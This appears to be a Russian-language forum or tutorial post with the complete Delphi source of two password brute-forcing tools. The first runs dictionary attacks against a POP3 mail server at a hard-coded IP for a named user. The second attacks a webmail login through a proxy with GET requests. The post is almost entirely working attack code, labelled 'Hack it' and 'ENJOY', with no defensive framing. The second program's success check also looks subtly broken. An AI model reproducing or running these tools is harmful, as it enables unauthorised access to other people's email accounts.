Вот код первого примера:
Код:
unit Unit1;
interface
uses
Windows, Messages, SysUtils, Classes, Graphics, Controls, Forms, Dialogs,
ComCtrls, StdCtrls, WinSock;
type
TForm1 = class(TForm)
Button1: TButton;
ProgressBar1: TProgressBar;
procedure Button1Click(Sender: TObject);
procedure FormCreate(Sender: TObject);
private
{ Private declarations }
public
{ Public declarations }
end;
type
TScan = class(TThread)
sock2 : TSocket;
addr:TSockAddrIn;
WSAData : TWSAData;
private
procedure CScan;
protected
procedure Execute; override;
end;
var
Form1: TForm1;
Sock : array[1..255] of TScan;
Rez : boolean = false;
I0 : Integer;
// Номер текущего пароля
I : Integer;
// TStringList с паролями
PassList : TStringList;
const
FilePass = 'pass.txt'; // Файл с паролями в каталоге проги
ProcCount = 10; // кол-во процессов
POP3serv = '212.42.64.13'; // POP3 server (отпингованый)
User = 'dndanil';
implementation
{$R *.DFM}
procedure TForm1.FormCreate(Sender: TObject);
begin
PassList:=TStringList.Create;
end;
// Запуск / Остановка
procedure TForm1.Button1Click(Sender: TObject);
begin
if Rez then
Rez:=false
else
begin
// Открытие и загрузка файла паролей
try
PassList.Clear;
PassList.LoadFromFile(FilePass);
except
end;
if PassList.Count<=0 then
begin
Application.MessageBox('Файл паролей не найден или его нельзя использовать', 'ERROR', mb_Ok);
exit;
end;
Form1.Button1.Caption:='Stop';
Form1.ProgressBar1.Position:=0;
// Кол-во паролей
Form1.ProgressBar1.Max:=PassList.Count;
Application.ProcessMessages;
I:=0;
I0:=1;
Rez:=true;
// Запустить все процессы
while true do
begin
Sock[I0]:=TScan.Create(false);
inc(I0); // Подсчитать их кол-во
//Выйти если больше указанного, или стоп, или подобрали
if (I0>ProcCount)or(not Rez) then
break;
end;
end;
end;
// Проца инициализации процесса
procedure TScan.Execute;
begin
try
// Запуск цикла
while true do
begin
CScan;
//Выход, если подобрали или закончился словарь
if (not Rez)or(I>=PassList.Count) then
break;
end;
except
end;
dec(I0);
try
Terminate;
except
end;
//Если все процессы прерваны -
if I0<=1 then
begin
Form1.Button1.Caption:='Hack it';
Rez:=false;
Application.ProcessMessages;
end;
end;
//Проца сканирования
procedure TScan.CScan;
var
iaddr, x, I2 : Integer;
Buf : array [1..255] of Char;
//Отправка
procedure sender(str:string);
var
I1: integer;
begin
for I1:=1 to Length(str) do
if send(sock2, str[I1] , 1, 0) = SOCKET_ERROR then
exit;
end;
begin
I2:=I;
inc(I);
Form1.ProgressBar1.Position:=I2+1;
Application.ProcessMessages;
try
// Инициализация сокета
WSAStartUp(257, WSAData);
sock2:=socket(AF_INET,SOCK_STREAM,IPPROTO_IP);
if sock2=INVALID_SOCKET then
begin
try
closesocket(sock2);
except
end;
exit;
end;
//Адрес сервака
iaddr := inet_addr(PChar(POP3serv));
if iaddr <=0 then
begin
try
closesocket(sock2);
except
end;
exit;
end;
addr.sin_family := AF_INET;
// Порт сервака
addr.sin_port := htons(110);
addr.sin_addr.S_addr:=iaddr;
if (connect(sock2, addr, sizeof(addr))) >0 then
begin
try
closesocket(sock2);
except
end;
exit;
end;
//Получение при соединении
x:=recv(sock2,buf,sizeof(Buf),0);
if (x=SOCKET_ERROR)or(buf[1]<>'+') then
exit;
//"user user"
sender('user '+User+#13+#10);
x:=recv(sock2,buf,sizeof(Buf),0);
if (x=SOCKET_ERROR)or(buf[1]<>'+') then
exit;
//"pass password"
sender('pass '+PassList.Strings[I2]+#13+#10);
x:=recv(sock2,buf,sizeof(Buf),0);
//Если подобралось
if (x>3)and(buf[1]='+') then
begin
Rez:=false;
Application.MessageBox(PChar('Pass = '+PassList.Strings[I2]),'ENJOY',mb_Ok);
exit;
end;
try
closesocket(sock2);
except
end;
except
end;
end;
end.
Вот второй пример:
Код:
unit Unit1;
interface
uses
Windows, Messages, SysUtils, Classes, Graphics, Controls, Forms, Dialogs,
ComCtrls, StdCtrls, WinSock;
type
TForm1 = class(TForm)
Button1: TButton;
ProgressBar1: TProgressBar;
procedure Button1Click(Sender: TObject);
procedure FormCreate(Sender: TObject);
private
{ Private declarations }
public
{ Public declarations }
end;
// Описание процесса
type
TScan = class(TThread)
sock2: TSocket;
addr: TSockAddrIn;
WSAData: TWSAData;
private
procedure CScan;
protected
procedure Execute; override;
end;
var
Form1: TForm1;
// Массив процессов
Sock : array[1..255] of TScan;
Rez : boolean = false;
// Кол-во запущенных процессов на данный момент
I0 : Integer;
// Номер текущего пароля
I : Integer;
// TStringGrid-ы с паролями и с логом
PassList, DopList1 : TStringList;
const
FilePass = 'pass.txt'; // Файл с паролями в каталоге проги
ProcCount = 10; // кол-во процессов
// Адрес прокси через который будет сканирование.
// Лучше отпинговать сначала
HTTPserv = 'proxy.address.net';
User = 'USER';
implementation
// Для преобразование имени
type
TaPInAddr = array [0..255] of PInAddr;
PaPInAddr = ^TaPInAddr;
{$R *.DFM}
procedure TForm1.FormCreate(Sender: TObject);
begin
PassList:=TStringList.Create;
DopList1:=TStringList.Create;
end;
// Запуск / Остановка
procedure TForm1.Button1Click(Sender: TObject);
var
J0 : Integer;
begin
if Rez then
begin
Rez:=false;
for J0:=1 to I0 do
try
Sock[J0].Terminate;
except
end;
end
else
begin
// Открытие и загрузка файла паролей
try
PassList.Clear;
PassList.LoadFromFile(FilePass);
except
end;
if PassList.Count<=0 then
begin
Application.MessageBox('Файл паролей не найден или его нельзя использовать', 'ERROR', mb_Ok);
exit;
end;
Form1.Button1.Caption:='Stop';
Form1.ProgressBar1.Position:=0;
// Кол-во паролей
Form1.ProgressBar1.Max:=PassList.Count;
Application.ProcessMessages;
I:=0;
I0:=1;
Rez:=true;
// Запустить все процессы
while true do
begin
Sock[I0]:=TScan.Create(false);
inc(I0); // Подсчитать их кол-во
//Выйти если больше указанного, или стоп, или подобрали
if (I0>ProcCount)or(not Rez) then
break;
if I0 mod 100 = 0 then
DopList1.Text:=IntToStr(I0);
end;
end;
end;
// Инициализация процесса
procedure TScan.Execute;
var
iaddr, x0 : Integer;
ph : PHostEnt;
pptr : PaPInAddr;
InAddr : TInAddr;
begin
try
// Инициализация сокета
WSAStartUp(257, WSAData);
sock2:=socket(AF_INET,SOCK_STREAM,IPPROTO_IP);
if sock2=INVALID_SOCKET then
begin
try
closesocket(sock2);
except
end;
try
Terminate;
except
end;
exit;
end;
// Получение адреса
iaddr := inet_addr(HTTPserv);
if iaddr <=0 then
begin
// Если имя, а не IP
ph := gethostbyname(HTTPserv);
if ph = nil then
begin
try
closesocket(sock2);
except
end;
try
Terminate;
except
end;
exit;
end;
pptr := PaPInAddr(ph^.h_addr_list);
x0 := 0;
while pptr^[x0] <> nil do
begin
InAddr:= pptr^[x0]^;
inc(x0);
addr.sin_addr:=inaddr;
addr.sin_family := AF_INET;
// Порт прокси - 80, 3128, 80808 и т.п.
addr.sin_port := htons(80);
if (connect(sock2, addr, sizeof(addr))) = 0 then
break
end;
end
else
begin
// Если IP
addr.sin_addr.S_addr:=iaddr;
addr.sin_family := AF_INET;
// Порт прокси - 80, 3128, 80808 и т.п.
addr.sin_port := htons(80);
addr.sin_family := AF_INET;
if (connect(sock2, addr, sizeof(addr))) > 0 then
begin
try
closesocket(sock2);
except
end;
try
Terminate;
except
end;
exit;
end;
end;
// Запуск цикла
while true do
begin
CScan;
if (not Rez)or(I>=PassList.Count) then
break;
end;
except
end;
dec(I0);
try
Terminate;
except
end;
// Если отмена, закончился список или подобрали
if I0<=1 then
begin
Form1.Button1.Caption:='Hack it';
Rez:=false;
Application.ProcessMessages;
DopList1.SaveToFile('log.txt');
end;
end;
// Процедура сканирования
procedure TScan.CScan;
var
x, I2 : Integer;
Buf : string;
begin
I2:=I;
inc(I);
Form1.ProgressBar1.Position:=I2+1;
Application.ProcessMessages;
try
// Формирование url
Buf:='GET http://mail.xakep.ru/cgi-bin/mail?username='+User+'&domain=xakep.ru&password='+
PassList.Strings[I2]+'&submit=%C7%E0%E9%F2%E8+%E2+%FF%F9%E8%EA HTTP/1.0';
// Отправка данных
send(sock2,Buf[1],length(Buf),0);
// Получение 300 байт
setlength(Buf,300);
x:=recv(sock2,Buf[1],300,0);
if x<300 then
exit;
setlength(Buf,300);
// Если подобрали
if pos(Buf,'<!D')<=0 then // ???
begin
Rez:=false;
DopList1.Text:='Pass = '+PassList.Strings[I2];
Application.MessageBox(PChar('Pass = '+PassList.Strings[I2]),'ENJOY',mb_Ok);
exit;
end;
except
end;
end;
end.
|